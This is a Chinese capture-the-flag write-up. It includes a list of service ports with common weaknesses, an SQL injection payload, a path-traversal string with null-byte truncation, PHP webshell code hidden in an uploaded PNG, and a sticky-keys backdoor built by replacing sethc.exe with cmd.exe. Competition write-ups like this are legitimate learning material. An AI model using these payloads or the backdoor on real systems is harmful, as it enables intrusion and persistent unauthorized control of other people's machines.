WEB1
靶机只扫描到22的ssh端口 那么思路只有一个,只能爆破
用的是一个SSH爆破工具SSH_Crack 百度云下载链接:https://pan.baidu.com/s/1qX9lyZM 然后下几个弱密码字典,放进去跑,然而并没有什么用 最后到结束也没跑出来,跑到怀疑人生。结束后问别队,他们说最后半小时出现了一个5984的端口
+21 ftp
+22 SSH
+23 Telnet
+80 web
+80-89 web
+161 SNMP
+389 LDAP
+443 SSL心脏滴血以及一些web漏洞测试
+445 SMB
+512,513,514 Rexec
+873 Rsync未授权
+1025,111 NFS
+1433 MSSQL
+1521 Oracle:(iSqlPlus Port:5560,7778)
+2082/2083 cpanel主机管理系统登陆 (国外用较多)
+2222 DA虚拟主机管理系统登陆 (国外用较多)
+2601,2604 zebra路由,默认密码zebra
+3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
+3306 MySQL
+3312/3311 kangle主机管理系统登陆
+3389 远程桌面
+4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
+5432 PostgreSQL
+5900 vnc
+5984 CouchDB http://xxx:5984/_utils/
+6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导>+致网站被直接篡改或者作为 代理进入内网
+6379 redis未授权
+7001,7002 WebLogic默认弱口令,反序列
+7778 Kloxo主机控制面板登录
+8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
+8080 tomcat/WDCP主机管理系统,默认弱口令
+8080,8089,9090 JBOSS
+8083 Vestacp主机管理系统 (国外用较多)
+8649 ganglia
+8888 amh/LuManager 主机管理系统默认端口 +9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执>+行漏洞
+10000 Virtualmin/Webmin 服务器虚拟主机管理系统
+11211 memcache未授权访问
+27017,27018 Mongodb未授权访问
+28017 mongodb统计页面
+50000 SAP命令执行
+50070,50030 hadoop默认端口未授权访问
神坑!!! 至于5984端口的利用,就在此留个坑吧,有兴趣的可以查一下资料,本菜就不写了 >毕竟在这题浪费了很多时间,再也不想看到这题,23333
WEB2
MSSQL注入
比赛当时我找到的是一个shop7z的一个通用注入pkid 因为是MSSQL的数据库,不允许limit,故使用order by修改表序列,是一个显式union注入 payload:
Union%0a/!5000SelECt/%0a12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8,9,10,12,3,4,5,6,7,8%0aMSysAccessObjects%0aorder%0aby%0a1
因为是MSSQL,我平时积累不多,且把@@version
替换上面数字会出false的页面,就懵逼了
大早上没吃早餐,被雨淋,还被空调吹得晕乎乎的,就就此放弃琢磨了这一道MSSQL注入,说实话还是积累太少。
WEB3
一阶段――上传绕过
第一步扫描:
发现开了很多端口 其中3389和80和8080是我们特别关注的 进去80是一个IIS的建设中的页面,没啥挖掘的 8080是一个Apache搭的应用下载市场 AWVS扫描发现有用的目录遍历漏洞
有问题变量在模板参数tpl处
被设置为../../../../../../../windows/win.ini%00.jpg
科普
还是科普一下 windows/win.ini,可以对照一下你C盘的C:.ini 是一个系统的配置文件 %00是截断符,../回溯至win.ini后将读取win.ini%00.jpg 因为windows的读取特性,后缀名.jpg会被截断,将会读取win.ini达到任意文件读取的目的 然后其他两名队友Jason&&Unk0wn发现有一个图片上传点,但是上传的文件会被改名成静态图像文件,并且上传会过滤PHP等解析格式 随后我就有一个大胆的想法(其实当时只是想死马当活马医) 对,就是用目录遍历漏洞包含图像,使得上传的被我插入一句话木马的静态文件解析成php
尝试
上传点过滤PHP后缀,截断以及该Content-Type无济于事,索性直接上传PNG文件,保留文件头和结束标记,在中间插入一句话 大概是这样子的
<?php system($_POST[1]);echo 1;?>
然后上传之后记录上传路径,将tpl改成静态png的路径。 大概是这样子的
毕竟环境已经关了,无法有更多详细的截图了,实在抱歉
随后发现Png被解析成php了,并且提示,system()
由于某些安全原因被禁用了
随后就将一句话构造成这样
<?php
$a=$_POST[2];
echo $a."\n";
$b = scandir($a,1);
print_r($b);
phpinfo();
?>
同样上传图片,包含新图片路径
庆幸的是phpinfo()
是可以执行的,我们将post数据构造成当前目录路径
POST_DATA: 2=getcwd();
执行后得到当前路径以及当前路径所有文件的名字,具体的路径没截图了,反正是C盘下的路径 以及当前目录下的flag_i4_H37e.txt文件 利用上面显示win.ini的方法,包含flag_i4_H37e.txt即可得到传马所得flag200分 ## 分析 因为比赛是有三层靶机,而二层靶机是无法ping通的,所以应该是通过控制WEB3的主机,然后开启ip转发,使得我们能够继续渗透二层靶机。故我们接下来的思路是控制WEB3所在靶机
比赛宕机
发生了两次宕机,其中有一次长达半个多小时,比赛才6个小时欲哭无泪
比赛继续
通过phpinfo可以知道disable_functions=proc_open,passthru,exec,system,shell_exec,,popen 这些函数都被禁用了
proc_open() - 功能描述:执行一个命令并打开文件指针用于读取以及写入。
passthru() - 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
exec() - 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
system() - 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
shell_exec() -功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
popen() - 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
那就十分尴尬了 我们能解析php但是并不能执行系统函数
3389 端口
由于WEB3是开了3389端口,而且我们又能执行php的大部分代码,故我又产生了一个大胆的想法
经典后门――粘滞键后门
- 通过php的copy()函数将C:.exe替换成cmd.exe
- 3389端口远程连接WEB3的靶机
- 狂按shift键,召唤出被替换成cmd.exe的程序sethc.exe
于是将一句换木马插入PNG图片的中间:
<?php
unlink("C:\\Windows\\system32\\sethc.exe");
copy("C:\\Windows\\system32\\cmd.exe","C:\\Windows\\system32\\sethc.exe");
?>
同样的,上传图片木马,包含路径->解析,然后3389连接WEB3靶机,狂按shift键
于是很惊喜地发现,cmd.exe被我们召唤出来了
此处图没有机会没保留
于是输入explorer.exe,回车,召唤出桌面来 DOS权限还是administrator的
通过浏览目录发现了桌面下的flag.txt,拿到了最后200分 由于本菜太愚钝,最后面几分钟才拿到这200分,真刺激
其实我们在构造shift之前我们已经能控制目录,浏览目录,直接找到桌面下的flag.txt了 但是要进入第二层靶机必须要控制WEB3的靶机 故这一步还是十分关键的 虽然后面没有时间用WEB3靶机代理继续渗透二层靶机(比赛完听大佬说二层靶机是wordpress的最近版还是挺难的),也不算太遗憾吧
至此比赛结束
总结
有以下几点: - 以后打比赛一定要吃早餐 - 一定不能淋雨吹空调 - 以及还是太菜,继续努力吧